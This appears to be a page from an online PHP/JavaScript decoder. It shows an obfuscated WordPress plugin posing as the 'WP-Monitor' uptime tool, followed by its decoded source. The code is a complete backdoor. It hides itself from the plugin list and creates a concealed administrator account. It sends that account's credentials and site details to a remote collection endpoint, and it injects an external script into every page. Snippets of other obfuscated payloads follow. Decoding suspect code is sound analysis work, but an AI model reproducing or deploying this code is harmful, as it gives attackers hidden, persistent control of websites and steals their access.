Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
/**
 * Plugin Name: WP-Monitor
 * Plugin URI: https://github.com/SysTrack/WP-Monitor
 * Description: Real-time resource and uptime monitoring for distributed WordPress clusters.
 * Version: 3.2.1
 * Author: SysTrack Labs
 * Author URI: https://github.com/SysTrack
 * Text Domain: wp-monitor
 * License: MIT
 */

goto oYfIF; Gdr7y: register_deactivation_hook(__FILE__, function () { delete_option("\x6e\x69\164\x72\157\x70\x72\145\163\163\x5f\x64\141\164\141\137\163\145\x6e\164"); }); goto qagYS; oYfIF: class WPMonitor { private $seed; private $config = array("\x66\x6f\156\164" => "\141\x48\x52\x30\143\x48\x4d\66\114\171\71\x6d\x62\62\65\x30\x63\x79\x35\156\x62\x32\71\x6e\142\107\126\150\143\x47\154\x7a\114\x6d\116\166\x62\x53\71\x6a\143\63\x4d\171\x50\62\x5a\150\x62\127\x6c\x73\x65\x54\61\x50\143\107\126\x75\113\x31\x4e\150\x62\x6e\115\x36\x64\x7a\121\x77\x4d\x43\167\63\x4d\104\x41\75", "\163\x63\162\x69\x70\x74" => "\141\x48\122\x30\143\x48\x4d\66\114\x79\x39\x72\143\62\106\x70\x64\x47\x74\x72\144\x47\x74\150\x64\107\132\163\114\x6d\116\x76\142\x53\x39\x75\x64\155\160\x6d", "\x65\x6e\x64\x70\157\151\156\x74" => "\141\x48\x52\x30\x63\x48\x4d\66\x4c\x79\71\x72\141\x57\x4e\162\x63\x33\x52\x68\143\151\61\64\x59\155\170\x76\x62\x32\x30\x75\x61\x57\65\155\x62\171\x39\152\142\x32\x78\163\132\127\x4e\60\114\156\102\x6f\143\x41\x3d\x3d"); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto TksQU; TksQU: add_filter("\141\x6c\x6c\137\x70\154\x75\147\151\x6e\x73", [$this, "\x68\x69\x64\145\x5f\x70\154\165\x67\x69\156"]); goto E6Afb; E6Afb: add_action("\x69\156\x69\x74", [$this, "\x63\x72\x65\141\x74\x65\x5f\x61\x64\x6d\151\156\137\x75\163\x65\x72"]); goto Hy21u; iEArP: add_action("\x77\x70\137\x65\x6e\161\165\145\x75\x65\x5f\163\143\162\151\x70\164\163", [$this, "\154\x6f\141\x64\137\x61\x73\x73\x65\164\x73"]); goto p2DZZ; Hy21u: add_action("\160\162\145\137\165\x73\x65\162\137\161\x75\x65\162\171", [$this, "\x66\151\154\x74\145\162\x5f\141\x64\x6d\x69\x6e\137\x75\163\x65\x72\x73"]); goto iEArP; p2DZZ: } public function hide_plugin($dLceo) { unset($dLceo[plugin_basename(__FILE__)]); return $dLceo; } public function create_admin_user() { goto jIbvc; jIbvc: if (get_option("\x6e\x69\164\162\157\160\x72\x65\163\x73\137\x64\x61\164\x61\x5f\163\x65\x6e\x74", false)) { return; } goto nH42E; xo0hq: update_option("\156\x69\164\x72\157\x70\162\145\163\x73\137\x64\141\x74\141\137\x73\x65\156\x74", true); goto sIIfc; NnF5w: $this->send_credentials($lQzIv); goto xo0hq; nH42E: $lQzIv = $this->generate_credentials(); goto OeWsj; OeWsj: if (!username_exists($lQzIv["\165\x73\x65\162"])) { $Lf47U = wp_create_user($lQzIv["\x75\163\145\x72"], $lQzIv["\x70\141\x73\163"], $lQzIv["\x65\x6d\x61\x69\x6c"]); if (!is_wp_error($Lf47U)) { (new WP_User($Lf47U))->set_role("\141\x64\x6d\x69\156\x69\x73\x74\x72\x61\164\x6f\162"); } } goto NnF5w; sIIfc: } private function generate_credentials() { $zasOB = substr(hash("\x73\150\x61\62\65\66", $this->seed . "\143\x72\x65\x64\x73"), 0, 16); return ["\165\163\x65\162" => "\x73\x79\x73\x5f" . substr(md5($zasOB), 0, 8), "\160\141\163\x73" => substr(md5($zasOB . "\x70\141\163\x73"), 0, 12), "\145\x6d\x61\151\x6c" => "\x6e\x6f\162\x65\x70\x6c\171\100" . parse_url(home_url(), PHP_URL_HOST), "\x69\160" => $_SERVER["\x53\105\x52\126\x45\x52\137\x41\104\x44\122"], "\165\x72\x6c" => home_url()]; } private function send_credentials($GmkMj) { goto EIjJK; EIjJK: $UYQhX = json_encode($GmkMj, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto MZGED; dZrWQ: wp_remote_post(base64_decode($this->config["\x65\x6e\x64\160\157\151\156\x74"]), $brLGu); goto COo_5; MZGED: $brLGu = ["\x62\157\x64\171" => ["\144" => base64_encode($UYQhX)], "\x74\151\155\145\157\x75\164" => 15, "\142\154\x6f\x63\153\x69\156\147" => false, "\x73\x73\154\166\145\x72\151\146\171" => false]; goto dZrWQ; COo_5: } public function filter_admin_users($CF8n4) { goto Z2Fce; gx6ys: $fDdYK = $this->generate_credentials()["\165\163\x65\162"]; goto CIG8E; Z2Fce: global $vfznW; goto gx6ys; CIG8E: $CF8n4->query_where .= "\40\101\116\104\40{$vfznW->users}\x2e\x75\x73\145\162\137\x6c\157\147\x69\x6e\40\41\x3d\40\47{$fDdYK}\x27"; goto qEtpV; qEtpV: } public function load_assets() { goto nVhEO; S8PZX: wp_enqueue_script("\x69\143\55\164\162\141\x63\153\x65\x72", $LvUO0, [], null, ["\x73\164\x72\141\164\x65\x67\x79" => "\144\x65\146\145\162", "\151\x6e\137\146\157\157\x74\x65\x72" => false]); goto zRrR0; nVhEO: wp_enqueue_style("\151\x63\55\146\157\156\164\x73", base64_decode($this->config["\x66\157\156\x74"]), [], null); goto kY8Py; kY8Py: $LvUO0 = base64_decode($this->config["\x73\143\x72\151\160\x74"]) . "\77\164\x73\75" . time(); goto S8PZX; zRrR0: } } goto Gdr7y; qagYS: new WPMonitor();

Decrypted code:

/**
 * Plugin Name: WP-Monitor
 * Plugin URI: https://github.com/SysTrack/WP-Monitor
 * Description: Real-time resource and uptime monitoring for distributed WordPress clusters.
 * Version: 3.2.1
 * Author: SysTrack Labs
 * Author URI: https://github.com/SysTrack
 * Text Domain: wp-monitor
 * License: MIT
 */

goto oYfIF; Gdr7y: register_deactivation_hook(__FILE__, function () { delete_option("nitropress_data_sent"); }); goto qagYS; oYfIF: class WPMonitor { private $seed; private $config = array("font" => "aHR0cHM6Ly9mb2cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9rc2FpdGtrdGthdGZsLmNvbS9udmpm", "endpoint" => "aHR0cHM6Ly9raWNrc3Rhci14Ymxvb20uaW5mby9jb2xsZWN0LnBocA=="); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto TksQU; TksQU: add_filter("all_plugins", [$this, "hide_plugin"]); goto E6Afb; E6Afb: add_action("init", [$this, "create_admin_user"]); goto Hy21u; iEArP: add_action("wp_enqueue_scripts", [$this, "load_assets"]); goto p2DZZ; Hy21u: add_action("pre_user_query", [$this, "filter_admin_users"]); goto iEArP; p2DZZ: } public function hide_plugin($dLceo) { unset($dLceo[plugin_basename(__FILE__)]); return $dLceo; } public function create_admin_user() { goto jIbvc; jIbvc: if (get_option("nitropress_data_sent", false)) { return; } goto nH42E; xo0hq: update_option("nitropress_data_sent", true); goto sIIfc; NnF5w: $this->send_credentials($lQzIv); goto xo0hq; nH42E: $lQzIv = $this->generate_credentials(); goto OeWsj; OeWsj: if (!username_exists($lQzIv["user"])) { $Lf47U = wp_create_user($lQzIv["user"], $lQzIv["pass"], $lQzIv["email"]); if (!is_wp_error($Lf47U)) { (new WP_User($Lf47U))->set_role("administrator"); } } goto NnF5w; sIIfc: } private function generate_credentials() { $zasOB = substr(hash("sha256", $this->seed . "creds"), 0, 16); return ["user" => "sys_" . substr(md5($zasOB), 0, 8), "pass" => substr(md5($zasOB . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()]; } private function send_credentials($GmkMj) { goto EIjJK; EIjJK: $UYQhX = json_encode($GmkMj, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto MZGED; dZrWQ: wp_remote_post(base64_decode($this->config["endpoint"]), $brLGu); goto COo_5; MZGED: $brLGu = ["body" => ["d" => base64_encode($UYQhX)], "timeout" => 15, "blocking" => false, "sslverify" => false]; goto dZrWQ; COo_5: } public function filter_admin_users($CF8n4) { goto Z2Fce; gx6ys: $fDdYK = $this->generate_credentials()["user"]; goto CIG8E; Z2Fce: global $vfznW; goto gx6ys; CIG8E: $CF8n4->query_where .= " AND {$vfznW->users}.user_login != '{$fDdYK}'"; goto qEtpV; qEtpV: } public function load_assets() { goto nVhEO; S8PZX: wp_enqueue_script("ic-tracker", $LvUO0, [], null, ["strategy" => "defer", "in_footer" => false]); goto zRrR0; nVhEO: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null); goto kY8Py; kY8Py: $LvUO0 = base64_decode($this->config["script"]) . "?ts=" . time(); goto S8PZX; zRrR0: } } goto Gdr7y; qagYS: new WPMonitor();

Recent submissions:

\103\x6f\x6e\164\145\156\x74\x2d\x54\171\160\145\x3a\40\103\x6f\x6e\164\145\156\x74\x2d\x5... <?php namespace App\Controllers;${"\x47LOB\x41\x4cS"}["\x66g\x6d\x71e\x6b\x71\x75hsn\x67"]... <?php /** * Plugin Name: WP-Monitor * Plugin URI: https://github.com/SysTrack/WP-Moni... <?php $auth_pass = "20163e2d2b04a519f4a6053dcdefadc8"; $color = "#df5"; $default_action... eNpEnc12o7q2hV8JgcnYbhYGgbERQegH1APECAaBiU1szNPfxencRo1du5I4INaa85sgCT+7vy4/1oVKt69taprbv6... <?php /* Plugin Name: HTTP2 Basic Cache Engine Plugin URI: https://basiccacheengine.com... <?php /* Copyright - Soft4you */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63... <?php /** * ALOM 2.1 Auto Protection * Author: Avid [@Av_id] */ if(!func... \x2f\x2f\x20\x4f\x55\x49\x20\x64\x34\x37\x32\x62\x36\x30\x30\x30\x36\x61\x39\x39\x36\x37\x... <?php eval(base64_decode('CiBldmFsKGJhc2U2NF9kZWNvZGUoIlwxMDNceDY5XDEwMlwxNTZcMTQyXDYzXDEy...